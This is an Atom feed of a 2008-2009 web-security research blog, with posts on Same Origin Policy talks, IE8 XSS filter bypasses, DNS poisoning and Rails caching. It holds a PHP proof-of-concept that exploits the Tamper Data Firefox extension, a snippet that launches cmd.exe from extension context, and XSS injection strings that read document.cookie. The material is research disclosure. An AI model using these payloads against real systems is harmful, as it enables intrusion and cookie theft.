<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-23714519</id><updated>2011-08-17T13:00:03.001+10:00</updated><category term='PHP'/><category term='RCSR'/><category term='Phishing'/><category term='Web App Sec'/><category term='Detection'/><category term='Conferences'/><category term='Firefox'/><category term='DNS'/><category term='Encoding'/><category term='Javascript'/><category term='IE'/><category term='CSRF'/><category term='SSO'/><category term='XSS'/><category term='MySpace'/><category term='Security (All)'/><category term='General Security'/><category term='Extension Hacking'/><category term='HTTP'/><title type='text'>Alex's Corner</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>83</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-23714519.post-6601821732323385481</id><published>2009-07-16T17:08:00.000+10:00</published><updated>2009-07-16T17:08:17.074+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='IE'/><category scheme='http://www.blogger.com/atom/ns#' term='Conferences'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>It's been a while</title><content type='html'>So it's been a while since I've posted anything here, mostly because this blog was the product of a hell of a lot of free time (aka high school), I've been going to uni full time and working part time, which hasn't left me with a lot of free time, and on top of that I figured out that if I put the same content into slides, rather than writing blog posts, I can present it at conferences (selling out++) and have a fun time doing so.&lt;br /&gt;&lt;br /&gt;In any case, I did some presentations recently and thought I should probably put details up here.&lt;br /&gt;&lt;br /&gt;I did a talk last November at Power of Community and XCon about the Same Origin Policy and some new ways of looking at it, where most of the new material was along the line of the GIFAR attacks Billy Rios came up with that Nate McFeters, etc, ended up presenting at BlackHat which took a lot of the wind out of my sails *shrug*, it should be interesting as it covers a lot of other things and points people in some uncommon directions, I've uploaded the paper I wrote and the slides here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.slideshare.net/kuza55/same-origin-policy-weaknesses-1728474"&gt;Slides&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.slideshare.net/kuza55/same-origin-policy-weaknesses"&gt;Paper&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I also did a talk at RUXCON and 25c3 with &lt;a href="http://www.wisec.it/"&gt;Stefano Di Paola&lt;/a&gt; (and I even spelled his surname correctly this time! ^_^) called Attacking Rich Internet Applications, so here are some materials:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ruxcon.org.au/files/2008/Attacking_Rich_Internet_Applications.pdf"&gt;RUXCON Slides&lt;/a&gt;&lt;br /&gt;&lt;a href="http://events.ccc.de/congress/2008/wiki/Conference_Recordings"&gt;25c3 Video Recordings&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I never ended up releasing this while it worked since I didn't want to kill a bug, but if you look at the video or were at the presentation you may have seen me demonstrate an exploit for Tamper Data, the bug is almost identical to this one that &lt;a href="http://kuza55.blogspot.com/2008/07/xss-ing-firefox-extensions.html"&gt;I had claimed was exploitable&lt;/a&gt;. While my rationale in that post was incorrect (due to me testing with an old version of Tamper Data which was vulnerable in the way described), I came up with an interesting exploit for the bug in Firefox 3 which could have gained me code execution by editing about:config entries.&lt;br /&gt;&lt;br /&gt;Here is the PoC exploit:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;//This is just a PoC, have a look through about:config for any _string_ entry you would want to change&lt;br /&gt;//This bug is kind of lame, but the exploit is cool, since it uses a Firefox bug to do damage (this should be unexploitable)&lt;br /&gt;//Bug fires when a user graphs a malicious http request (open tamper data, graph the attack request)&lt;br /&gt;header ("HTTP/1.1 200 OK&amp;lt;BR&amp;gt;&amp;lt;B&amp;gt;Mime Type&amp;lt;/B&amp;gt;: text/html\",event);' onMouseOut='hide_info();'&amp;gt;&amp;lt;script&amp;gt;opener.oTamper.preferences.PREFERENCES_ROOT='';opener.oTamper.preferences.init();opener.oTamper.preferences.setString('app.update.url', 'jajaja');&amp;lt;/script&amp;gt;&amp;lt;g/='");&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;The bug is triggerable on old Tamper Data versions where the Graph Requests functionality worked, and if you graphed the malicious request/response the exploit would set the app.update.url would be set to jajaja.&lt;br /&gt;&lt;br /&gt;The bug works by abusing a lack of access control on any objects that extensions create in their windows (It wasn't just Tamper Data, it happened in other extensions), where it was possible to read and modify the objects, and more importantly: call their functions. When you called a function that an extension had created, it was executed in the context of the extension, namely chrome code.&lt;br /&gt;&lt;br /&gt;It did not end up being necessary or useful for this exploits, however it was possible to call those functions and completely control all the data, etc, via calls such as opener.oTamper.whatever_function.apply(our_obj).&lt;br /&gt;&lt;br /&gt;In any case, the access control bug died some time in the last few Firefox 3.0.X releases, but I'm not really sure which since the graphing functionality in Tamper Data hasn't been working for even longer, and it got to be too much effort to double check it.&lt;br /&gt;&lt;br /&gt;I also did a presentation at the OWASP Australia Conference in February titled "Examining and Bypassing the IE8 XSS Filter", which might be some nice background for people, but will probably be greatly surpassed by sirdarckcat &amp; thornmaker's upcoming Black Hat presentation. Here are the &lt;a href="http://www.slideshare.net/kuza55/examining-the-ie8-xss-filter"&gt;Slides&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;I also did a presentation on Writing Better XSS Payloads at EUSecWest in May, however I haven't uploaded the slides since I'm trying to submit it to Hack In The Box Malaysia to have the material reach a wider audience, so unless it is rejected, you'll have to wait until then to see it... Or email me.&lt;br /&gt;&lt;br /&gt;And that's all for now...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-6601821732323385481?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/6601821732323385481/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=6601821732323385481' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/6601821732323385481'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/6601821732323385481'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2008/09/its-been-while.html' title='It&apos;s been a while'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-5559620917859841365</id><published>2008-09-24T18:35:00.002+10:00</published><updated>2008-09-30T19:43:38.127+10:00</updated><title type='text'>Dynamic XSS Payloads in the face of NoScript</title><content type='html'>While participating in the &lt;a href="http://isis.poly.edu/csaw/ctf"&gt;CSAW CTF&lt;/a&gt; on the weekend before last with s0ban, sirdarckcat and maluc (which we won btw, with 16375 points; RPISEC who placed second had 13575 points, go us ;), I had an interesting thought; one of our attacks was a persistent xss attack that loaded it's payload from off-site so that we could gain some level of persistent control, however I realised that this attack would fail completely in the face of NoScript even if our xss succeeded since the person would not have our malicious domain whitelisted.&lt;br /&gt;&lt;br /&gt;So, in light of that, I was thinking of how we could load our payload from off-site, without the remote site running JavaScript. Of course, I am assuming you have already bypassed NoScript's XSS Filters (e.g. because the attack was persistent), but this information is particularly useful for persistent attacks when you may want to change the payload.&lt;br /&gt;&lt;br /&gt;After thinking about this for a while, I realised that we've already solved the problem a while ago when we were talking about using TinyURL for data storage way back in 2006: &lt;a href="http://kuza55.blogspot.com/2006/12/using-tinyurl-for-storage-includes-poc.html"&gt;http://kuza55.blogspot.com/2006/12/using-tinyurl-for-storage-includes-poc.html&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Of course TinyURL would be of no use to us here as we are interested in being able to change our payload, however all it would require to be useful is (possibly some kind of synchronisation so that we execute in the order we want, rather than the order we get data back from our evil web server and) changing the URL to point to a domain you control.&lt;br /&gt;&lt;br /&gt;Nothing really ground-breaking, but something interesting nonetheless.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-5559620917859841365?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/5559620917859841365/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=5559620917859841365' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/5559620917859841365'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/5559620917859841365'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2008/09/dynamic-xss-payloads-in-face-of.html' title='Dynamic XSS Payloads in the face of NoScript'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-611051794538122810</id><published>2008-09-04T16:37:00.003+10:00</published><updated>2008-09-04T17:56:20.773+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='IE'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>IE8 XSS Filter</title><content type='html'>IE8 came out recently and a &lt;a href="http://www.0x000000.com/?i=634"&gt;bunch&lt;/a&gt; &lt;a href="http://www.80sec.com/ie8-security-alert.html"&gt;of&lt;/a&gt; &lt;a href="http://nomoreroot.blogspot.com/2008/08/ie8-xss-filter.html"&gt;people&lt;/a&gt; have already commented about the limitations of the XSS Filter.&lt;br /&gt;&lt;br /&gt;But there are a few more issues that need to be looked at. First of all, if anyone hasn't already done so, I recommend reading &lt;a href="http://blogs.technet.com/swi/archive/2008/08/18/ie-8-xss-filter-architecture-implementation.aspx"&gt;this post by David Ross on the architecture/implementation of the XSS Filter.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;After talking Cesar Cerrudo, it became clear that we both came to the conclusion that the easiest way to have a generic bypass technique for the filter would be to attack the same-site check, and we both came to the conclusion that, if we can somehow force the user to navigate from a page on the site we want to attack to our xss, then we've bypassed the filter.&lt;br /&gt;&lt;br /&gt;If the site is a forum, or a blog, then this becomes trivial as we're allowed to post links, however even if we cannot normally post links this is still trivial as we can inject links in our XSS as the XSS Filter doesn't stop HTML Injection, in any case read &lt;a href="http://nomoreroot.blogspot.com/2008/08/ie8-xss-filter.html"&gt;this&lt;/a&gt; for more details.&lt;br /&gt;&lt;br /&gt;However, this is not the only way to force a client-side navigation. One particular issue (which is normally not considered much of a vulnerability, unless it allows xss vulns) is when an application lets users control the contents of a frame, this is often seen in the help sections of web apps. However navigation caused by an iframe seems to be considered somehow user-initiated (or something) and the same-site check is applied so that if we point a frame on a site to an xss exploit, the xss exploit will trigger.&lt;br /&gt;&lt;br /&gt;Initially I had thought this would extend to JavaScript based redirects of the form:&lt;br /&gt;&lt;code&gt;document.location = "http://www.site.com/user_input";&lt;/code&gt;&lt;br /&gt;or in the form of frame-breaking code, however this does not seem to be the case. IE attempts to determine whether a redirect was user-initiated or not and if it decides it is not user-initiated then it does not apply the same-site check and simply initiates the XSS Filter, though as with the popup blocker before it has some difficulty being correct 100% of the time, e.g. this counts as a user-initiated navigation:&lt;br /&gt;&lt;code&gt;&amp;lt;a name="x" id="x" href="http://localhost/xss.php?xss=&amp;lt;script&amp;gt;alert(7)&amp;lt;/script&amp;gt;"&amp;gt;test&amp;lt;/a&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;document.links[0].click();&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;br /&gt;However this is probably a very unrealistic issue as we need to vulnerable site to actually let the attacker create such a construct.&lt;br /&gt;&lt;br /&gt;Furthermore HTTP Location redirects and Meta Refreshes are also not considered user navigation so filtering is always applied to those, therefore Open Redirects are pretty irrelevant to the XSS Filter.&lt;br /&gt;&lt;br /&gt;However, Flash-based redirects do not seem to be considered redirects (which is unsurprising given that IE has no visibility into Flash files) and so any Flash-based redirects can be taken advantage of to bypass the xss filter, though if they require a user to click then it is probably simply easier to just inject a link (as described in Cesar's post)&lt;br /&gt;&lt;br /&gt;And that's about all I could think of wrt that check :S&lt;br /&gt;&lt;br /&gt;However, if you go read Cesar's post you'll see we now do have a method to generically bypass the IE8 XSS Filter, and it only requires an additional click from the user, anywhere on the page.&lt;br /&gt;&lt;br /&gt;In a completely different direction, When I first read the posts that said the XSS filter was going to prevent injections into quoted JavaScript strings, my first thought was "yeah, right, let's see them try", as I had assumed they would attempt to prevent an attacker breaking out of the string, however the filter has signatures to stop the actual payload. Essentially the filter attempts to stop you from calling a JavaScript function and assigning data to sensitive attributes, so all of the following injections are filtered:&lt;br /&gt;&lt;code&gt;"+eval(name)+"&lt;br /&gt;");eval(name+"&lt;br /&gt;";location=name;//&lt;br /&gt;";a.b=c;//&lt;br /&gt;";a[b]=c;//&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;among a variety of other sensitive attributes, however this does still leave us with some limited scope for an attack that may be possible in reasonably complicated JavaScript.&lt;br /&gt;&lt;br /&gt;We are still left with the ability to:&lt;br /&gt; - Reference sensitive variables, which is esnecially useful when injecting into redirects, e.g.&lt;br /&gt;&lt;code&gt;"+document.cookie+"&lt;/code&gt;&lt;br /&gt; - Conducting variable assignments to sensitive data, e.g.&lt;br /&gt;&lt;code&gt;";user_input=document.cookie;//&lt;/code&gt;&lt;br /&gt;or&lt;br /&gt;&lt;code&gt;";user_input=sensitive_app_specific_var;//&lt;/code&gt;&lt;br /&gt; - Make function assignments, e.g. (Note though that you can't seem to assign to some functions e.g. alert=eval doesn't seem to work)&lt;br /&gt;&lt;code&gt;";escape=eval;//&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Also, like the meta-tag stripping attack described by the 80sec guys (awesome work btw, go 80sec!), we can strip other pieces of data (which look like xss attacks) such as frame-breaking code, redirects, etc, but note we can't strip single lines of JS as the JS block needs to be syntactically valid for it to start getting executed, so anything potentially active which acts as a security measure beyond the extent of it's own tag can be stripped.&lt;br /&gt;&lt;br /&gt;It's also worth noting that XSS Filter doesn't strip all styles, it only strips those that would allow more styles to slip past it and styles which can execute active code (which is pretty much just expression() )&lt;br /&gt;&lt;br /&gt;And that's all for me at the moment; if anyone's looking for an interesting area for research, see if the IE8 XSS Filter always plays nice with server-side XSS Filters, who knows, maybe being able to break the context by getting the filter to strip stuff you can get your own html to be rendered in a different context that the server-side filter didn't expect.&lt;br /&gt;&lt;br /&gt;P.S. Take this all with a grain of salt, this has been derived through black-box testing, and as such any of the conclusions above are really just educated guesses.&lt;br /&gt;&lt;br /&gt;P.P.S Good on David Ross and Microsoft for making a positive move forward that's going to be opt-out. Obviously everyone is going to keep attacking it and finding weaknesses, but even if this only stops the scenario where the injection is right in the body of the page, then it's a huge step forward for webappsec; if this effectively blocks injections into JavaScript strings then ASP.NET apps just got a whole lot more secure.&lt;br /&gt;Though I still think the HTML-injection issue needs to be fixed, because even if it's an additional step, users are going to click around and we're just going to see attackers start utilising HTML injection&lt;br /&gt;&lt;br /&gt;P.P.P.S. Don't forget this is based on security zones, so it can be disabled and is by default opt-in for the intranet zone, so all those local zone xss's for web servers on localhost or xss's for intranet apps are going to be largely unaffected&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-611051794538122810?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/611051794538122810/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=611051794538122810' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/611051794538122810'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/611051794538122810'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2008/09/ie8-xss-filter.html' title='IE8 XSS Filter'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-5342098150120092360</id><published>2008-08-06T21:42:00.003+10:00</published><updated>2008-08-06T22:10:15.487+10:00</updated><title type='text'>Thoughts on the DNS patch/bug</title><content type='html'>Is it just me, or does the DNS patch only seem to buy us more time?&lt;br /&gt;&lt;br /&gt;At most this decreases the chance of a succesful attack 65k times, at worst it doesn't help because of NAT, and if you're running a default MS &lt;= win2k3 OS then it's 2.5k times.&lt;br /&gt;&lt;br /&gt;Honestly, I haven't had time to play around with any of the exploits floating around, but given 1 attempt = at most 2 packets (though it's probably much closer to 1, since you can try lots of responses per packet), we can send 32k packetrs pretty quickly, and the figures &lt;a href="http://blog.metasploit.com/2008/07/bailiwicked-automatic-tuning.html"&gt;here&lt;/a&gt; also seem to say it works pretty damn quickly.&lt;br /&gt;&lt;br /&gt;I'm not going to do any figures, but given how network speeds seem to go constantly upwards (or do we want to speculate about an upper cap?), we're going to reach a problem at some stage where senging 65k times the amount of data is going to be bloody fast again, and this will be an issue all over again.&lt;br /&gt;&lt;br /&gt;And if that ever happens; what's left to randomize in the query? nothing as far as I can tell, so is the hope that by then we'll have all switched to DNSSEC, or are we planning on altering the DNS protocol at that point?&lt;br /&gt;&lt;br /&gt;Anyway, going in a completely different direction, I want to take issue with the idea that seems to be pervading a lot of descriptions of the DNS bug that poisoning random subdomains isn't an issue.&lt;br /&gt;&lt;br /&gt;For your typical attack, yes, poisoning random subdomains is kind of useless, however a lot of the web is held together by the idea that absolutely everything in a DNS tree of a domain is controlled by that domain and is to some extent trustworthy (think cookies and document.domain in JavaScript).&lt;br /&gt;&lt;br /&gt;Also, it seems odd that given that the fact that you could poison random domains seems common knowledge to some people &lt;a href="http://pwnie-awards.org/2008/awards.html#mass0wnage"&gt;Dan is nominated for another pwnie award for XSS-ing arbitrary nonexistant subdomains&lt;/a&gt;. Sure, that bug gives you the ability to phish people more easil, but to me the biggest part of that seemed to be the fact that you could easily attack the parent domains form there.&lt;br /&gt;&lt;br /&gt;Anyway, the patch, while having it's limitations, seems to buy us some time with both these bugs, and in fact should buy us time with any bugs where responses are forged, so that's always a good thing.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-5342098150120092360?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/5342098150120092360/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=5342098150120092360' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/5342098150120092360'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/5342098150120092360'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2008/08/thoughts-on-dns-patchbug.html' title='Thoughts on the DNS patch/bug'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-4373551734348680218</id><published>2008-08-03T10:11:00.003+10:00</published><updated>2008-08-03T10:45:29.836+10:00</updated><title type='text'>Is framework-level SQL query caching dangerous?</title><content type='html'>I was in a bookshop a few months ago and picked up a book about Ruby on Rails, and though I sadly didn't buy it (having already bought more books than I wanted to carry) and I've forgotten it's name, there was an interesting gem in there that stuck in my head.&lt;br /&gt;&lt;br /&gt;Ruby on Rails' main method of performing SQL queries (ActiveRecord) since 2.0, by default, caches the results of SELECT queries (though it does string-level matching of queries, so they need to be completely identical, rather than functionaly identical) untill a relevant update query updates the table.&lt;br /&gt;&lt;br /&gt;I haven't had a chance to delve into the source to see how granularly the cache is updated (i.e. if a row in the cache was not updated in an update, is the cache still invalidated sinc ethe table was updated?), but in any case, it still seems dangerous.&lt;br /&gt;&lt;br /&gt;Caching data that close to the application means that unless you know about the caching and either disable it or ensure that anything else that possibly updates the data also uses the same cache, you may end up with an inconsistent cache.&lt;br /&gt;&lt;br /&gt;Assuming that flushing the cache is fairly granular operation (or there is very little activity on the table or users are stored as separate tables, or something similar), it seems feasible that if there is any other technology interacting with the same database, it would be possible to ensure that dodgy data is cached in the Rails app.&lt;br /&gt;&lt;br /&gt;A possible example would be a banking site where an SQL query like&lt;br /&gt;&lt;code&gt;SELECT * FROM accounts WHERE acct_id = ?&lt;/code&gt;&lt;br /&gt;Is executed when you view the account details or attempt to transfer money, then if there was another interface to withdraw money (lets say an ATM even; doesn't have to be web-based) that bypassed Rails' SQL cache it is theoretically possible that if we would be able to withdraw the money, but the Rails app would still think that we had money left.&lt;br /&gt;&lt;br /&gt;At this point of course things would become very implementation specific, though there are two main ways I could see this going (maybe there are more):&lt;br /&gt;&lt;br /&gt;1. We could be lucky and the application itself subtracts the amount we're trying to transfer and then puts that value directly into an SQL query, so it's as if we never withdrew any money.&lt;br /&gt;&lt;br /&gt;2. We could be unlucky and an SQL query of this variety is used:&lt;br /&gt;&lt;code&gt;UPDATE accounts SET balance = balance - ? WHERE acct_id = ?&lt;/code&gt;&lt;br /&gt;In which case the only thing we gain is the ability to overdraw from an account where we would not be able to usually; not particularly useful unless you've stolen someone else's account already and want to get the most about it, but it does still allow us to bypass a security check.&lt;br /&gt;&lt;br /&gt;Does anyone have any thoughts on this? Is this too unlikely? Is no-one ever going to use Rails for anything sensitive? Should I go and read the source next time before posting crap? etc&lt;br /&gt;Or knowledge of the Rails caching mechanism? I'll probably take a look soon, but given I've been meaning to do this for months...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-4373551734348680218?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/4373551734348680218/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=4373551734348680218' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/4373551734348680218'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/4373551734348680218'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2008/08/is-framework-level-sql-query-caching.html' title='Is framework-level SQL query caching dangerous?'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-7888204309134102315</id><published>2008-07-27T20:48:00.003+10:00</published><updated>2008-07-30T14:18:03.181+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>XSS-ing Firefox Extensions</title><content type='html'>[EDIT]:It turns out I fail at testing things on the latest version, see comments for some more details, sorry about that Roee.[/EDIT]&lt;br /&gt;&lt;br /&gt;Roee Hay recently posted a &lt;a href="http://blog.watchfire.com/wfblog/2008/07/tamper-data-cro.html"&gt;blog post on the Watchfire blog about an XSS bug in the Tamper Data extension&lt;/a&gt; (it was posted much earlier, but removed quickly; RSS is fun), however when he assessed the impact he was wrong.&lt;br /&gt;&lt;br /&gt;The context of the window is still within the extension, and so by executing the following code you can launch an executable:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;var file = Components.classes["@mozilla.org/file/local;1"]&lt;br /&gt;.createInstance(Components.interfaces.nsILocalFile);&lt;br /&gt;file.initWithPath("C:\\WINDOWS\\system32\\cmd.exe");&lt;br /&gt;file.launch();&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;(Code stolen from &lt;a href="http://developer.mozilla.org/en/docs/Code_snippets:Running_applications"&gt;http://developer.mozilla.org/en/docs/Code_snippets:Running_applications&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;But even then; I had never even heard of the Graphing functionality in Tamper Data, and given the need to actually use the functionality on a dodgy page, the chance of anyone getting owned with this seems very small to me.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-7888204309134102315?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/7888204309134102315/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=7888204309134102315' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/7888204309134102315'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/7888204309134102315'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2008/07/xss-ing-firefox-extensions.html' title='XSS-ing Firefox Extensions'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-1832888201532125113</id><published>2008-07-21T12:22:00.002+10:00</published><updated>2008-07-21T12:39:13.161+10:00</updated><title type='text'>Licensing Content</title><content type='html'>Now, I am not a lawyer (so I don't know what information can be licensed and what can't), but as far as I know the fact that I have specified no license for the use of content on this blog does not mean it is public domain, or similar.&lt;br /&gt;&lt;br /&gt;So, I just wanted to make a quick post about what license the content of this blog is provided under.&lt;br /&gt;&lt;br /&gt;All the information on this blog is DUAL LICENSED, &lt;br /&gt;1. If you plan to use it for personal or non-profit purposes you can use it under the &lt;a href="http://creativecommons.org/licenses/by-nc-sa/3.0/"&gt;Creative Commons "Attribution-Noncommercial-Share Alike 3.0"&lt;/a&gt; license.&lt;br /&gt;   &lt;br /&gt;2. In the case you plain to use it for _any_ other purpose, e.g.: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;a. use the information in any commercial context&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;b. implement this information in your non-GPL application&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;c. use this information during a Penetration Test&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;d. make any profit from it &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;you need to contact me in order to obtain a commercial license.&lt;br /&gt;&lt;br /&gt;Seems only fair to me :)&lt;br /&gt;&lt;br /&gt;P.S. Since realistically the chance of me finding a violation is slim-to-none, and the chance of me actually doing anything about it (e.g. going to court, etc), is even smaller, this is more a statement of my will for the information than anything else.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-1832888201532125113?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/1832888201532125113/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=1832888201532125113' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1832888201532125113'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1832888201532125113'/><link rel='alternate' type='text/html' 